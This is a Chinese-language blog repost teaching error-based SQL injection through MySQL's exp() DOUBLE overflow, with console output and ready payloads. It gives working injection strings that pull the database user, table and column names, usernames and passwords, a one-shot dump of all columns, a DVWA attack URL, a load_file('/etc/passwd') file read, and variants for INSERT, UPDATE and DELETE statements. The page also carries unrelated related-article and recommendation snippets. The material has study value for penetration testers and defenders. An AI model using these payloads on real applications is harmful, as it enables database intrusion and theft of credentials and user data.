首先感谢原文博主,在此致敬。本文转自:http://www.cnblogs.com/lcamry/articles/5509124.html

Exp()为以 e 为底的对数函数;MySQL版本在 5.5.5 及其以上

0x01 前言概述


好消息好消息~作者又在MySQL中发现了一个Double型数据溢出。如果你想了解利用溢出来注出数据,你可以读一下作者之前发的博文:BIGINT Overflow Error based injections,drops上面也有对应翻译,具体见这里。当我们拿到MySQL里的函数时,作者比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以作者就跑去测试看哪些函数会出现溢出错误。然后作者发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec) mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

MySQL中,explnlog的功能相反,简单介绍下,就是logln都返回以e为底数的对数,见等式:

mysql> select log(15);
+------------------+
| log(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec) mysql> select ln(15);
+------------------+
| ln(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

指数函数为对数函数的反函数,exp()即为以e为底的对数函数,如等式:

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
| 15 |
+-----------------------+
1 row in set (0.00 sec)

0x02 注入


当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec) mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

>`exp(~(select*from(select user())x))`

    mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x03 注出数据


得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

检索数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x04 一蹴而就


这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))

http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#

0x04 读取文件


你可以通过load_file()函数来读取文件,但作者发现有13行的限制,该语句也可以在BIGINT overflow injections中使用。

select exp(~(select*from(select load_file('/etc/passwd'))a));

注意,你无法写文件,因为这个错入写入的只是0。

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt
0

0x05 Injection in Insert


按部就班就好

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

对于所有的insert,updatedelete语句DIOS查询也同样可以使用。

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual)))'

0x06 Injection in Update


mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x07 Injection in Delete


mysql> delete from users where id='1' | exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x08 总结


和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。

mysql> select version();
+---------------------+
| version() |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec) mysql> select exp(710);
+----------+
| exp(710) |
+----------+
| 1.#INF |
+----------+
1 row in set (0.00 sec) mysql> select exp(~0);
+---------+
| exp(~0) |
+---------+
| 1.#INF |
+---------+
1 row in set (0.00 sec)

可能还有其他的函数会产生这种报错呦。(有待你发现啦:)

例题:https://blog.csdn.net/zz_Caleb/article/details/85063838

报错盲注之exp注入(double数值类型溢出原理详解)的更多相关文章

  1. 十六:SQL注入之查询方式及报错盲注

    在很多注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL查询语句有问题,这时候我们需要用到相关的报错或者盲注进行后续操作,同时作为手工注入的时候,需要提前了解SQL语句能更好的选择对应 ...

  2. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  3. SQL报错盲注

    嗯哼,这几天篮球比赛,天天训练,学习都耽搁了,DDCTF做了一会心态就爆炸了,蓝瘦,明天再打一场,希望能赢呢,打完就疯狂继续学习了.今天抽空又做了一些基本的SQL注入题目,墨者学院的一道报错注入的题目 ...

  4. 实验吧Web-易-简单的sql注入之3(报错的sql盲注之exp)

    题目提示是报错注入,于是就用盲注技巧来注入. 这里注入时发现floor,extractvalue,updatexml被吃掉了,用exp可以注入成功.(记住大小写绕过等技巧) 1.爆库 ' or exp ...

  5. SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入

    1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...

  6. SQL盲注、SQL注入 - SpringBoot配置SQL注入过滤器

    1. SQL盲注.SQL注入   风险:可能会查看.修改或删除数据库条目和表.   原因:未对用户输入正确执行危险字符清理.   固定值:查看危险字符注入的可能解决方案. 2. pom.xml添加依赖 ...

  7. 报错:具有键"..."的ViewData项属于类型"...",但它必须属于类型"IEnumerable<SelectListItem>"

    报错:具有键"..."的ViewData项属于类型"...",但它必须属于类型"IEnumerable<SelectListItem>&q ...

  8. sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)

    写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...

  9. GYCTF 盲注【regexp注入+时间盲注】

    考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...

随机推荐

  1. python如何画三维图像?

    python三维图像输出的代码如下所示:#画3D函数图像输出from mpl_toolkits.mplot3d import Axes3Dfrom matplotlib import cmimport ...

  2. 子组件props接受父组件传递的值 能修改吗?

    vue2.0 子组件props接受父组件传递的值,能不能修改的问题整理 父组件代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ...

  3. 三 HTML框架标签

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  4. luffy 那点事

    1 虚拟环境创建 2 后台:Django项目创建 3 后台配置 4 数据库配置 5 user模块User表 6 前台 7 前台配置 8 前端主页 9 后端主页模块设计 10 xadmin 后台管理 1 ...

  5. Intend之属性extra

    我们这次想要实现的功能是从A活动跳到B活动时,A活动中有一个输入框和一个按钮,当点击按钮是时会跳到B活动,然后把A活动中的输入框的内容传到B活动中,且在B活动中的TextView中显示 A活动中先添加 ...

  6. TP-Link TL-WR841N v14 CVE-2019-17147 缓冲区溢出漏洞分析笔记v2018.12.31

    0x00 背景 Httpd服务中的缓冲区溢出漏洞 复现参考文章https://www.4hou.com/posts/gQG9 Binwalk -Me 解压缩 File ./bin/busybox文件类 ...

  7. 如何使用IDEA将maven项目打成war包

    1.点击IDEA界面右边的maven project 2.双击package

  8. Java自学-集合框架 HashSet、LinkedHashSet、TreeSet之间的区别

    HashSet. LinkedHashSet.TreeSet之间的区别 步骤 1 : HashSet LinkedHashSet TreeSet HashSet: 无序 LinkedHashSet: ...

  9. WinCC V7.5安装过程截图

  10. 预备JS执行环境,预执行脚本

    page.evaluateOnNewDocument(pageFunction, ...args) pageFunction <function|string> Function to b ...